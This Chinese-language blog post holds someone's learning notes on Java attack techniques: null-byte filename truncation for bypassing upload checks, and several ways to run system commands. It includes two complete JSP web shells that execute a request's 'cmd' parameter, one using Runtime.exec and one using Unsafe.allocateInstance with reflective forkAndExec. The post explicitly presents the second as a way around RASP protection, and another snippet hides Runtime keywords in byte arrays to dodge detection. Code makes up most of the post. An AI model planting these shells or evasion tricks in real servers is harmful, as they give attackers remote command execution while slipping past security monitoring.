目录
forkAndExec命令执行-Unsafe+反射+Native方法调用
Java文件名空截断测试
影响版本:JDK<1.7.40
前言:本来想安装一个自己搞搞,但是jdk版本太低了不兼容,还好很容易理解
package com.anbai.sec.filesystem;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
/**
* @author yz
*/
public class FileNullBytes {
public static void main(String[] args) {
try {
String fileName = "/tmp/null-bytes.txt\u0000.jpg";
FileOutputStream fos = new FileOutputStream(new File(fileName));
fos.write("Test".getBytes());
fos.flush();
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
很简单的就是写入文件,但是
本来文件叫做 null-bytes.txt\u000.jpg却变成了,null-bytes.txt,把后面的截断了,大多数出现这种漏洞的地方
文件上传,判断后缀jpg但是其实存的是前面txt的后缀,这不就是php%00截断的原理吗,基本一样就不细说了。
Java本地命令执行
md,
代码就一行满屏的报错,还是500真的是累了,唉先看懂原理明天调试把。
<%
InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
get传参,然后命令执行,下载输出,很easy,直接写个java中的exec命令看看流程:
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)
大致的跟了一遍
ps:我以前就以为exec就是底层然后直接执行,命令执行到今天才知道原来还有这么多
这里我有个想法如果我们直接从中间开始截断,然后执行是不是也可以呢。
直接构造这个类发现也进去了这个方法,但是弹不出来肯定是某些变量的值的限制,哪天闲了我深层搞一搞。
public class exec {
public static void main(String[] args) throws IOException {
// Runtime.getRuntime().exec("calc");
new ProcessBuilder("calc");
}
}
反射Runtime命令执行
如果我们不希望再代码中出现和Runtime相关的关键字,我们可以全部用反射替代。
package com.cxk.runtime;
import java.io.InputStream;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
import static java.lang.System.out;
public class IOE {//反射进行命令执行
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});//这里仔细观察发现是ascll码
//反射java.lang.Runtime类获取class对象
Class<?> c = Class.forName(rt);
//反射获取Runtime类的getRuntime方法
Method m1 = c.getDeclaredMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
m1.setAccessible(true);
//反射调用Runtime类中的exec方法
Method m2 = c.getDeclaredMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
m2.setAccessible(true);
String a="whoami";//反射调用Runtime.getRuntime().exec()方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{a});
// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
}
}
哇哦用字节ascll代替字符,这种方法真的好神奇也可以直接弹出计算器,后面如果是cmd不就要输出通过Scanner加载器,以及useDelitmiter这种分隔符。
ProcessBuilder命令执行
发现文章后面真的有这个介绍,说明之前的思路是正确的,那么看一下它是如何构建成功的。
Process processBuilder = new ProcessBuilder("calc").start();
发现只需要加个.start就可以了,跟进去发现start还会调用另一个start ProcessImpl.start,不加start的话是调用不过去的就会提前结束,就是卡在了这。
UNIXProcess/ProcessImpl
UNIXProcess
和ProcessImpl
可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess
合并到了ProcessImpl
当中了,这两个类其实就是exec命令执行代码的最底层。
UNIXProcess
和ProcessImpl
其实就是最终调用native
执行系统命令的类,这个类提供了一个叫forkAndExec
的native方法,如方法名所述主要是通过fork&exec
来执行本地系统命令。
package com.cxk.runtime;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.Scanner;
import static java.lang.System.out;
public class ReflactProccessImpl extends HttpServlet {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
String[] cmds = {"whoami"};
Class clazz = Class.forName("java.lang.ProcessImpl");
Method start = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
start.setAccessible(true);
Process process = (Process) start.invoke(null, cmds, null, ".", null, true);
Method m = process.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(process, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
}
}
这里的invoke这里 “.” true随便改为 false,发现也可以弹出计算器。
这里刨析一下为何会输出执行后的结果
这里的m就是getInputStream方法
invoke(实例对象,参数)
Scanner s = new Scanner((InputStream) m.invoke(process, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : ""; 检测是否还有下一个
// 输出命令执行结果
out.println(result);
UNIXProcess/ProcessImpl方法几乎一模一样这里就不重复举例子了。
forkAndExec命令执行-Unsafe+反射+Native方法调用
呃呃呃runtime中的最后一个方法了,如果前面的都被禁了就可以用到这个。
如果RASP
把UNIXProcess/ProcessImpl
类的构造方法拦截,可以通过Unsafe.allocateInstance
来进行绕过,具体步骤是
1. 使用sun.misc.Unsafe.allocateInstance(Class)
特性可以无需new
或者newInstance
创建UNIXProcess/ProcessImpl
类对象
2. 反射UNIXProcess/ProcessImpl
类的forkAndExec
方法
3. 构造forkAndExec
需要的参数并调用
4. 反射UNIXProcess/ProcessImpl
类的initStreams
方法初始化输入输出结果流对象
5. 反射UNIXProcess/ProcessImpl
类的getInputStream
方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)
因为前面我们学到了Unsafe是一个不安全的类,里面的allocate Instance方法可以无视构造方法创建类实例。
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = null;
processClass = Class.forName("java.lang.ProcessImpl");
Object processObject = unsafe.allocateInstance(processClass);
反射forkAndExec方法, 因为这是Runtime的最后一步了,是通过这来执行代码的。
// 类Unix下
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {//实现了复制的操作
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
%>
<%
String[] strs = request.getParameterValues("cmd");
if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);//实例化
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);// 设置访问权限
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.println("<pre>");
out.println(baos.toString());
out.println("</pre>");
out.flush();
out.close();
}
%>
感兴趣的可以细看,我看了看大概的流程,很头晕。。。
至此本地命令执行就结束了:
从一开始只知道Runtime exec,到现在的Processlmpl 、ProcessBuilder等都是可以触发命令执行的
文章评论